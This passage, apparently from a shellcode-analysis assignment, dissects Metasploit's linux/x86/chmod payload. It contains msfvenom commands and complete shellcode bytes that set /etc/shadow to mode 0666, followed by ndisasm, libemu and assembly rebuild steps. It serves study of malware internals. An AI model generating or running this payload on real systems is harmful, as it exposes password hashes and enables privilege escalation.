5.C. linux/x86/chmod

Generating shellcode sample

First, let’s list the options the MSF payload expects as required parameters. Here we see it requires the FILE and MODE parameter to be set.

MSF payload requirements

$ msfvenom --list-options -p linux/x86/chmod
Options for payload/linux/x86/chmod:
=========================


       Name: Linux Chmod
     Module: payload/linux/x86/chmod
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    kris katterjohn <katterjohn@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FILE  /etc/shadow      yes       Filename to chmod
MODE  0666             yes       File mode (octal)

Description:
  Runs chmod on specified file with specified mode

Next step is generating the shellcode with the required options:

Generating shellcode in C

$ msfvenom -p linux/x86/chmod file=/etc/shadow mode=0666 -f c 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
unsigned char buf[] = 
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";

Without newlines, the string is:
“\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80”

Creating binary file for later analysis

RAW

$ msfvenom -p linux/x86/chmod file=/etc/shadow mode=0666 --platform linux -a x86 R -o msf_linx86_chmod_sample2.bin
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Saved as: msf_linx86_chmod_sample2.bin

C

$ echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" > msf_linx86_chmod_sample2_alt.bin

Differences between raw output and generated C code

Again, NULL bytes but both the RAW and C generated file are the same and we need to get rid of those pesky NULL bytes. Analyzing with ndisasm we see the NULL bytes are being caused by call and push of dword’s in ASM.

Analyzing with NDISASM

$ echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popad
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

Analyzing with libemu

Attempting to analyze the generated shellcode it only gives debug states of registers and flags, but no pseudo-code is being generated for further analysis.

$ sctest -vvv -S -s 10000 -G libemu_msf_linx86_chmod_sample2 < msf_linx86_chmod_sample2.bin
graph file libemu_msf_linx86_chmod_sample2
verbose = 3
[emu 0x0x8b440a0 debug ] cpu state    eip=0x00417000
[emu 0x0x8b440a0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000

...<SNIP>...

[emu 0x0x8b440a0 debug ] Flags: 
[emu 0x0x8b440a0 debug ] 59                              pop ecx
[emu 0x0x8b440a0 debug ] cpu state    eip=0x0041701d
[emu 0x0x8b440a0 debug ] eax=0x0000000f  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8b440a0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8b440a0 debug ] Flags: 
[emu 0x0x8b440a0 debug ] CD80                            int 0x80
stepcount 8
copying vertexes

...<SNIP>...

[emu 0x0x8b440a0 debug ] cpu state    eip=0x0041701f
[emu 0x0x8b440a0 debug ] eax=0x0000000f  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8b440a0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8b440a0 debug ] Flags: 

Generating PNG file from DOT

When attempting to generate a PNG from the libemu DOT file, it remains empty. This is obvious, as there is no code generated to analyze.

$ dot libemu_msf_linx86_chmod_sample2 -Tpng -o msf_linx86_chmod_sample2.png

Recompile shellcode in ASM

Using some awk magic, we can append the instructions to our ASM template.

Get ASM instructions from ndisasm

$ ndisasm -u msf_linx86_chmod_sample2.bin | awk '{print substr($0, index($0, $3))}'
cdq
push byte +0xf
pop eax
push edx
call dword 0x16
das
gs jz 0x71
das
jnc 0x79
popad
fs outsd
ja 0x16
pop ebx
push dword 0x1b6
pop ecx
int 0x80
push byte +0x1
pop eax
int 0x80

Append ASM template

$ cp asm_template.asm msf_linx86_chmod_asm_sample2.asm
$ ndisasm -u msf_linx86_chmod_sample2.bin | awk '{print substr($0, index($0, $3))}' >> msf_linx86_chmod_asm_sample2.asm

Compiling ASM file

$ ../compile_asm.sh msf_linx86_chmod_asm_sample2
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

Running the ASM binary
SEGFAULT when we try to run our binary, analyzing with strace doesn’t give us any clear instructions being used. This is probably caused by the NULL-bytes in the shellcode, so we need to get rid of those first.